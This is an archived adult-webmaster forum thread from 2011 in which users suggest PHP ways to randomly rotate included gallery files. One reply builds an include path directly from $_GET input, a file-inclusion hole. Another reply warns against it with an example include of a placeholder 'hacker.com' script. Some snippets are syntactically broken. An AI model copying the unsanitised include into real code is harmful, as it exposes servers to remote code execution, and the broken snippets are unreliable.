GoFuckYourself.com - Adult Webmaster Forum

GoFuckYourself.com - Adult Webmaster Forum (https://gfy.com/index.php)
-   Fucking Around & Business Discussion (https://gfy.com/forumdisplay.php?f=26)
-   -   Question for PHP Coders (https://gfy.com/showthread.php?t=1042176)

TheSquealer 10-17-2011 04:46 PM

Question for PHP Coders
 
Is there an easy way to rotate php includes on a page?

For example, say you have an image gallery with a pic, title, description all in css... can you put everything in that css div in a php file (or 10 of them in 10 .php files), use an include and then use something to rotate those php includes.. and so duplicates aren't shown?

Webmaster Advertising 10-17-2011 04:57 PM

Maybe use the php date function to include the files?

woj 10-17-2011 05:07 PM

you are putting title and description in css?

georgeyw 10-17-2011 05:13 PM

Quote:

Originally Posted by TheSquealer (Post 18497549)
Is there an easy way to rotate php includes on a page?

For example, say you have an image gallery with a pic, title, description all in css... can you put everything in that css div in a php file (or 10 of them in 10 .php files), use an include and then use something to rotate those php includes.. and so duplicates aren't shown?

Are you wanting to control which gallery is displayed or simply random?

yourdomain.com/gallery.php?id=<Gallery ID here ie 3>

use a

$id = $_GET to grab the id

then include 'file'.$id.php

Better way would be to create a db and call gallerys by their id in the db.

Confined 10-17-2011 06:06 PM

Quote:

Originally Posted by georgeyw (Post 18497589)
Are you wanting to control which gallery is displayed or simply random?

yourdomain.com/gallery.php?id=<Gallery ID here ie 3>

use a

$id = $_GET to grab the id

then include 'file'.$id.php

Better way would be to create a db and call gallerys by their id in the db.

Oh yeah baby! that's a great way to get hacked

TheSquealer 10-17-2011 06:10 PM

Here is what i wanted... assume there is 5 rows of pictures as an example

<div class="rowofpictures">
<div class="pictitle">
Title of pic
</div>
<div class="image1">
<img src="image-a.jpg" />
</div>
<div class="picdescription">
This is the image description under the image
</div>
</div>

Assume there is 5 of them on a row and i want to put all css for that row into a php file and include it in the page... like row1.php, the second row in row2.php, the third row in row3.php etc.

<?php include("row1.php"); ?>
<?php include("row2.php"); ?>
<?php include("row3.php"); ?>

Then rotate those rows so at a glance it appears the pages content changed when refreshed or opened later.

woj 10-17-2011 06:24 PM

if you want to invest a few bucks, hit me up icq: 33375924
or just wait 5 mins, I'm sure some idiot will post the solution for free in the next reply:1orglaugh :thumbsup

georgeyw 10-17-2011 06:26 PM

Quote:

Originally Posted by Confined (Post 18497668)
Oh yeah baby! that's a great way to get hacked

It was a quick example you fuckstick. Handled correctly GET / POST etc are all safe

Quote:

Originally Posted by TheSquealer (Post 18497674)
Here is what i wanted... assume there is 5 rows of pictures as an example

<div class="rowofpictures">
<div class="pictitle">
Title of pic
</div>
<div class="image1">
<img src="image-a.jpg" />
</div>
<div class="picdescription">
This is the image description under the image
</div>
</div>

Assume there is 5 of them on a row and i want to put all css for that row into a php file and include it in the page... like row1.php, the second row in row2.php, the third row in row3.php etc.

<?php include("row1.php"); ?>
<?php include("row2.php"); ?>
<?php include("row3.php"); ?>

Then rotate those rows so at a glance it appears the pages content changed when refreshed or opened later.

Something like this will work - foreach or for to output
Code:

<?
$rowID =  range(1,10);

shuffle($rowID);

//Then output it

for($i=0;$i<sizeof($rowID);$i++)
{
        echo 'ROW ID' . $rowID[$i] . '<br>';
}
echo '<br>';
foreach ($rowID as $id) {
    echo $id . '<br>';
}
?>


Overload 10-17-2011 06:26 PM

lolz ... i love one click updates from a txt file which is pretty easy to achieve ;) no includes needed ... the links/thumbs are parsed from a simple txt file and you can update with one button click ... looks as if one really puts some time into updating but its done in wink of an eye

HomerSimpson 10-17-2011 08:01 PM

if you will use only one of those per page

Code:

<?php
$x = rand(0,10);
$x = 'file'.$x.'.php';
include($x);
?>


raymor 10-17-2011 08:06 PM

The fastest way to do a "random" include is to base it on the current time- such as
$i = time() % 8;
include($i.php);

Assume that anything in GET POST, COOKIE, etc. is set by a hacker. So this:

include ($_REQUEST['id'].php);

Is equivalent to:
include ('http://hacker.com/fuckmyserverup.php');

k0nr4d 10-18-2011 12:18 AM

PHP Code:

$filesArr = array();
$filesArr[] = 'blah.php';
$filesArr[] = 'blah2.php';
$filesArr[] = 'blah3.php';
shuffle($filesArr);
include(
$filesArr[0]; 



All times are GMT -7. The time now is 03:43 AM.

Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc123